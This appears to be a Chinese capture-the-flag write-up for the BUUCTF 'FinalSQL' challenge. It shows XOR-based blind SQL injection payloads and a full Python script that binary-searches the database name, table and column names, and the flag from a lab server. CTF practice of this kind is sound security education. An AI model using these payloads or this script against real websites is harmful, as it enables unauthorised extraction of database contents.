当前位置:网站首页>[极客大挑战 2019]FinalSQL
[极客大挑战 2019]FinalSQL
2022-08-05 03:52:00 【pakho_C】
[极客大挑战 2019]FinalSQL
依次点击5个页面
到最后一个页面发现提示尝试第6个页面,观察到url中的id,输入6得到
有参数,尝试单引号
提示error 那么应该存在sql注入,尝试永真式
肯定有过滤了,fuzz一波:
过滤了不少,但是异或^没被过滤,并且没有报错页面,那么应该是盲注
使用异或的特性:相同为0 不同为1 测试
利用id=0^1为NO! Not this! Click others~~~ id=1^1为ERROR!!!来进行盲注的判断

编写爆破脚本,参考这位佬的:[极客大挑战 2019]FinalSQL
1.爆破数据库名核心语句:0^(ascii(substr((select(database())),"+str(i)+",1))>"+str(mid)+")
爆破数据库名为geek
2.爆破表名核心语句:0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(i)+",1))>"+str(mid)+")
爆破出表名为F1naI1y,Flaaaaag
3.爆破字段名 核心语句:0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),"+str(i)+",1))>"+str(mid)+")
F1naI1y表列名为id username password
0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),"+str(i)+",1))>"+str(mid)+")
Flaaaaag表字段为id fl4gawsl
猜测flag在fl4gawsl里
4.爆破flag 核心语句:0^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),"+str(i)+",1))>"+str(mid)+")
flag不在此处,查询另一张表的password字段
找到flag
完整脚本代码:
import requests
target = "http://f394d9ca-2bcb-4014-bf77-82cd9e2a9963.node4.buuoj.cn:81/search.php"
def getDataBase(): #获取数据库名
database_name = ""
for i in range(1,1000): #注意是从1开始,substr函数从第一个字符开始截取
low = 32
high = 127
mid = (low+high)//2
while low < high: #二分法
params={
"id":"0^(ascii(substr((select(database())),"+str(i)+",1))>"+str(mid)+")" #注意select(database())要用()包裹起来
}
r = requests.get(url=target,params=params)
if "others" in r.text: #为真时说明该字符在ascii表后面一半
low = mid+1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127:
break
database_name += chr(mid) #将ascii码转换为字符
print("数据库名:" + database_name)
def getTable(): #获取表名
column_name=""
for i in range(1,1000):
low = 32
high = 127
mid = (low+high)//2
while low<high:
params = {
"id": "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(i)+",1))>"+str(mid)+")"
}
r = requests.get(url=target,params=params)
if "others" in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127:
break
column_name += chr(mid)
print("表名为:"+column_name)
def getColumn(): #获取列名
column_name = ""
for i in range(1,250):
low = 32
high = 127
mid = (low+high)//2
while low < high:
params = {
"id": "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),"+str(i)+",1))>"+str(mid)+")"
}
r = requests.get(url=target, params=params)
if 'others' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
column_name += chr(mid)
print("列名为:" + column_name)
def getFlag(): #获取flag
flag = ""
for i in range(1,1000):
low = 32
high = 127
mid = (low+high)//2
while low < high:
params = {
"id" : "0^(ascii(substr((select(group_concat(password))from(F1naI1y)),"+str(i)+",1))>"+str(mid)+")"
}
r = requests.get(url=target, params=params)
if 'others' in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127:
break
flag += chr(mid)
print("flag:" + flag)
getDataBase()
getTable()
getColumn()
getFlag()
边栏推荐
- cross domain solution
- [Solved] Unity Coroutine coroutine is not executed effectively
- 运维监控系统之Open-Falcon
- 10 years of testing experience, worthless in the face of the biological age of 35
- MRTK3 develops Hololens application - gesture drag, rotate, zoom object implementation
- DNS被劫持如何处理?
- Open-Falcon of operation and maintenance monitoring system
- [TA-Frost Wolf_may-"Hundred Talents Project"] Graphics 4.3 Real-time Shadow Introduction
- Redis1:Redis介绍、Redis基本特性、关系型数据库、非关系型数据库、数据库发展阶段
- Beyond YOLO5-Face | YOLO-FaceV2 officially open source Trick+ academic point full
猜你喜欢

结构体初解

2022-08-04 The sixth group, hidden from spring, study notes

数据库设计的酸(ACID)碱(BASE)原则

UE4 通过重叠事件开启门

UE4 第一人称角色模板 添加冲刺(加速)功能

新人如何入门和学习软件测试?

iMedicalLIS监听程序(2)

MRTK3 develops Hololens application - gesture drag, rotate, zoom object implementation

Android interview question - how to write with his hands a non-blocking thread safe queue ConcurrentLinkedQueue?

Event parse tree Drain3 usage and explanation
随机推荐
21 Days Learning Challenge (2) Use of Graphical Device Trees
【Mysql进阶优化篇02】索引失效的10种情况及原理
[Qixi Festival] Romantic Tanabata, code teaser.Turn love into a gorgeous three-dimensional scene and surprise her (him)!(send code)
UE4 为子弹蓝图添加声音和粒子效果
High Item 02 Information System Project Management Fundamentals
presto启动成功后出现2022-08-04T17:50:58.296+0800 ERROR Announcer-3 io.airlift.discovery.client.Announcer
UE4 后期处理体积 (角色受到伤害场景颜色变淡案例)
.NET Application -- Helloworld (C#)
Dive into how it works together by simulating Vite
【测量学】速成汇总——摘录高数帮
Android实战开发-Kotlin教程(入门篇-登录功能实现 3.3)
This year's Qixi Festival, "love vegetables" are more loving than gifts
Spark基础【介绍、入门WordCount案例】
AI+PROTAC | dx/tx completes $5 million seed round
Ffmpeg - sources analysis
2022.8.4-----leetcode.1403
Initial solution of the structure
public static <T> List<T> asList(T... a) 原型是怎么回事?
JeeSite新建报表
Why is the pca component not associated